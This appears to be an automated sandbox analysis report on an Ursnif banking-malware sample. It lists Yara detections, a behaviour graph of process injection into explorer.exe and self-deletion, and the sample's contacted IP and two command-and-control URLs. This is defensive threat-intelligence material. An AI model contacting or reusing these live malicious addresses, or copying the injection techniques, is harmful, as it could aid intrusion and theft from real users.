Source: Yara match File source: 00000003.00000003.439315042.00000000052AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.436001223.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438329210.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391236122.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390852806.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390783473.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390963737.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391015018.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390663420.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391212771.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7148, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6020, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4de0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5456940.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.438131198.00000000053AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.517494573.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.515954749.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.516723035.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438206007.0000000005429000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.766683570.000002DC007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.566002484.0000000004C79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.569427566.000000000512F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Ursnif
Source: Yara match File source: 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391081269.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.439315042.00000000052AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.436001223.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438329210.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391236122.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390852806.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390783473.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390963737.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391015018.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390663420.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391212771.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7148, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6020, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4de0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5456940.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.438131198.00000000053AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.517494573.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.515954749.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.516723035.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438206007.0000000005429000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.766683570.000002DC007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.566002484.0000000004C79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.569427566.000000000512F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 613862 Sample: HxEWwh74qT Startdate: 22/04/2022 Architecture: WINDOWS Score: 100 63 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->63 65 Found malware configuration 2->65 67 Malicious sample detected (through community Yara rule) 2->67 69 9 other signatures 2->69 9 loaddll32.exe 1 2->9         started        11 mshta.exe 19 2->11         started        process3 process4 13 cmd.exe 1 9->13         started        15 WerFault.exe 3 9 9->15         started        18 WerFault.exe 2 9 9->18         started        20 WerFault.exe 3 9 9->20         started        22 powershell.exe 33 11->22         started        dnsIp5 25 rundll32.exe 1 6 13->25         started        61 192.168.2.1 unknown unknown 15->61 71 Injects code into the Windows Explorer (explorer.exe) 22->71 73 Writes to foreign memory regions 22->73 75 Modifies the context of a thread in another process (thread injection) 22->75 77 2 other signatures 22->77 29 explorer.exe 22->29 injected 31 csc.exe 3 22->31         started        34 csc.exe 22->34         started        36 conhost.exe 22->36         started        signatures6 process7 dnsIp8 59 146.70.35.138, 49775, 80 TENET-1ZA United Kingdom 25->59 91 System process connects to network (likely due to code injection or exploit) 25->91 93 Writes to foreign memory regions 25->93 95 Modifies the context of a thread in another process (thread injection) 25->95 105 2 other signatures 25->105 38 control.exe 25->38         started        97 Changes memory attributes in foreign processes to executable or writable 29->97 99 Self deletion via cmd delete 29->99 101 Disables SPDY (HTTP compression, likely to perform web injects) 29->101 103 Creates a thread in another existing process (thread injection) 29->103 41 cmd.exe 29->41         started        43 RuntimeBroker.exe 29->43 injected 45 cmd.exe 29->45         started        55 C:\Users\user\AppData\Local\...\pkbugtxo.dll, PE32 31->55 dropped 47 cvtres.exe 1 31->47         started        57 C:\Users\user\AppData\Local\...\lboh4mlq.dll, PE32 34->57 dropped 49 cvtres.exe 34->49         started        file9 signatures10 process11 signatures12 79 Changes memory attributes in foreign processes to executable or writable 38->79 81 Injects code into the Windows Explorer (explorer.exe) 38->81 83 Writes to foreign memory regions 38->83 89 4 other signatures 38->89 85 Uses ping.exe to sleep 41->85 87 Uses ping.exe to check the status of other devices and networks 41->87 51 conhost.exe 41->51         started        53 PING.EXE 41->53         started        process13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
146.70.35.138
 unknown United Kingdom
2018 TENET-1ZA true

Private

IP
192.168.2.1

Contacted Domains

Name IP Active
l-0007.l-dc-msedge.net 13.107.43.16 true
a-0019.standard.a-msedge.net 204.79.197.222 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://146.70.35.138/phpadmin/1p0semBcWFOiJ/VuHxHtu5/AN830nRWQ1d2xctaoA3KLHR/918Z9VEhPV/P8ohXldFwnNmepL6Q/uKTfc4fmSrkK/BfYNKcK_2Bx/w_2FA1ltM5KCgm/3UT06OWaufeDOP8Oq_2FL/oIF6meLVrySmPHH0/RIFJ_2FHuhWguIS/4hvBrDpXZ_2FB9M_2F/VjlCK_2FC/TflkNLJtzRIEzaze5_2F/wDsLbDghNL5li48V5rm/4qe0lRbO5_2FdP6RKk3aIg/j40b09twfw_2F/PdHkwNcC/i0_2BVuZ/L.src true
  • Avira URL Cloud: safe
 unknown
http://146.70.35.138/phpadmin/sJOLDU_2FhOUoo/k46SW66GV6I1pQKjWA9TE/PWpby4hvIkOnAKsS/x0Aee5T7Xyol_2F/mHBJFq72pa7ZryIdq5/j7jpLfh_2/B9C_2B8rr1N7pwYs7Hbz/HAjnG5DvkxUUwsnvZ2H/7mKa3lBAhH1k0Vg5CBUe72/SPp1Kc_2FZv6K/7UGQxmIh/q1dxSy205p9HqV1EWhDaIi0/wpq760vWJe/2wvTRaTBNSXKAlgWL/PHcpI3wJ6a_2/BROCpFJpoTX/N2ZuQyATVgKAeO/_2Fd3SdF.src true
  • Avira URL Cloud: safe
 unknown